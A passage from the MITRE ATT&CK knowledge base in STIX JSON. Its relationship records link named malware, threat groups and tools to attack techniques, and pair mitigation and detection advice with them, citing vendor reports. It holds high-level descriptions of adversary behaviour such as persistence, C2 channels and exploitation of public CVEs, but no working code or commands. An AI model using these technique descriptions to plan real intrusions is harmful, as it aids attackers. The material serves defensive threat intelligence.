2017)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--328ab5f5-017c-4d4c-ab52-078257e39bd7","type":"relationship","created":"2019-07-02T12:58:09.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoJax Sept 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."}],"modified":"2019-12-20T13:43:45.250Z","description":"[LoJax](https://attack.mitre.org/software/S0397) has loaded an embedded NTFS DXE driver to be able to access and write to NTFS partitions.(Citation: ESET LoJax Sept 2018)","relationship_type":"uses","source_ref":"malware--b865dded-0553-4962-a44b-6fe7863effed","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--328e9746-4bb6-47e1-8e71-6418ca04c5fa","type":"relationship","created":"2020-05-27T15:31:09.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.943Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has made their XMRIG payloads persistent as a Windows Service.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--328fdf30-3195-4d15-b99c-bf14cc236a90","type":"relationship","created":"2020-01-24T15:51:52.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.","source_name":"Microsoft W32Time May 2017"}],"modified":"2020-03-25T15:24:26.667Z","description":"Consider using Group Policy to configure and block additions/modifications to W32Time DLLs. (Citation: Microsoft W32Time May 2017)","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--329424c6-bea7-4b20-9e32-2a7db75f6281","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.550Z","description":"[SslMM](https://attack.mitre.org/software/S0058) has a hard-coded primary and backup C2 string.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3298bf92-55a2-49eb-aa5e-0530e8a51eeb","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"},{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.837Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can identify logged in users across the domain and views user sessions.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--329a2563-fc1b-4828-a6b7-d11d1d4ad429","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.","source_ref":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--329bd436-3a61-4f19-937a-ead417d729dc","created":"2024-06-20T19:28:08.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Inversecos Timestomping 2022","description":"Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection – NTFS Forensics. Retrieved September 30, 2024.","url":"https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html"},{"source_name":"API","description":"Vishavjit Singh. (2023, June 22). TIMESTOMPING EXPLAINED ON API LEVEL. Retrieved June 20, 2024.","url":"https://medium.com/@vishavjitsingh.csi/timestomping-explained-on-api-level-f0c219cf3dc9"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T14:44:23.331Z","description":"Monitor for API calls that may delete or alter generated artifacts on a host system. APIs (e.g., `SetFileTime`, `NtSetInformationFile`, `NtQueryInformationFile`) can be utilized to manipulate timestamps.(Citation: API)(Citation: Inversecos Timestomping 2022)","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--329d115e-2a1d-443e-800c-d28f5f11d6b9","type":"relationship","created":"2020-10-01T18:55:37.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:17.979Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144, to gain execution on vulnerable Microsoft Exchange; they have also conducted SQL injection attacks against external websites.(Citation: US District Court Indictment GRU Oct 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--329e0df7-2d7b-44d6-8dc0-5074df2627b8","created":"2022-03-30T14:26:51.863Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls may attempt to get information about running processes on a system. ","modified":"2022-04-20T13:07:28.542Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--329f545d-7ef4-4c43-9ce8-b56e7275e11f","created":"2024-02-09T19:45:50.796Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:45:50.796Z","description":"[SLIGHTPULSE](https://attack.mitre.org/software/S1110) can base64 encode all incoming and outgoing C2 messages.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Tasklist","description":"Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.","url":"https://technet.microsoft.com/en-us/library/bb491010.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover processes running on a system.(Citation: Microsoft Tasklist)","relationship_type":"uses","source_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32a62862-3dc9-4082-8570-d01abe25e00b","type":"relationship","created":"2022-02-02T15:25:50.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:25:50.334Z","description":"[LitePower](https://attack.mitre.org/software/S0680) can determine if the current user has admin privileges.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32a6902a-b0bb-46c0-878a-2399e4cd4aeb","type":"relationship","created":"2021-06-29T15:19:53.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:19:53.152Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use HTTP in C2 communications.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32abb557-d923-4a6d-bda6-79a95063f298","type":"relationship","created":"2020-03-17T01:57:57.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-17T01:57:57.336Z","description":"Adversaries can also use [NETEAGLE](https://attack.mitre.org/software/S0034) to establish an RDP connection with a controller over TCP/7519.","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32af5f8f-e219-4635-b8f1-d98f0913f4c0","type":"relationship","created":"2021-05-05T14:06:59.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-06-02T20:40:34.231Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) has the ability to discover the proxy configuration of Firefox and/or Opera.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32b0dfd5-4909-490e-83a4-963a30b44104","type":"relationship","created":"2020-03-12T18:51:45.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2020-03-12T18:51:45.867Z","description":"[CrossRAT](https://attack.mitre.org/software/S0235) creates a Launch Agent on macOS.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"malware--a5e91d50-24fa-44ec-9894-39a88f658cea","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32b50ea5-7e1e-4253-b2b8-ba99a054c6d9","created":"2023-09-05T18:03:30.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.636Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) can use a WMI event filter to invoke a command-line event consumer to gain persistence.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32bb5463-c8b5-4ba1-bc13-b242548d5aba","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2020-03-20T19:45:55.941Z","description":"[APT37](https://attack.mitre.org/groups/G0067) leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32bc85f6-f022-4868-8934-bd00cc36f6d4","type":"relationship","created":"2020-12-29T18:53:14.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T18:53:14.974Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has searched local system resources to access sensitive documents.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32be4e3c-fa7f-4ec5-abee-2ed631d0494a","type":"relationship","created":"2020-09-29T15:45:28.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-10-06T15:44:25.251Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can execute PowerShell scripts received from C2.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32bebd4b-6bbe-4a4e-86a1-0c49fda51259","type":"relationship","created":"2020-05-20T19:05:37.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Pirate Panda April 2020","url":"https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z","description":"Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T16:39:27.634Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used HTTP in communication with the C2.(Citation: Anomali Pirate Panda April 2020)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32c23405-9962-4f12-8774-fdf04328ac84","type":"relationship","created":"2022-03-31T12:41:24.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft System Services Fundamentals","url":"https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx","description":"Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022."}],"modified":"2022-04-01T17:11:01.132Z","description":"Consider using Group Policy to configure and block modifications to service and other critical server parameters in the Registry.(Citation: Microsoft System Services Fundamentals)","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32c6dd7a-b03b-4f44-8215-52e9844b82a1","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]},{"type":"relationship","id":"relationship--32ca8347-dcb9-47c6-a3c3-23e15d03fe68","created":"2024-03-13T20:44:28.779Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T20:44:28.779Z","description":"[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can function as a stand-alone backdoor communicating over the `/tmp/clientsDownload.sock` socket.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--19256855-65e9-48f2-8b74-9f3d0a994428","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32d0c1aa-b936-40d4-932e-7d4f42736382","created":"2024-08-13T20:21:09.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:08:18.623Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors executed the Advanced Port Scanner tool on compromised systems.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 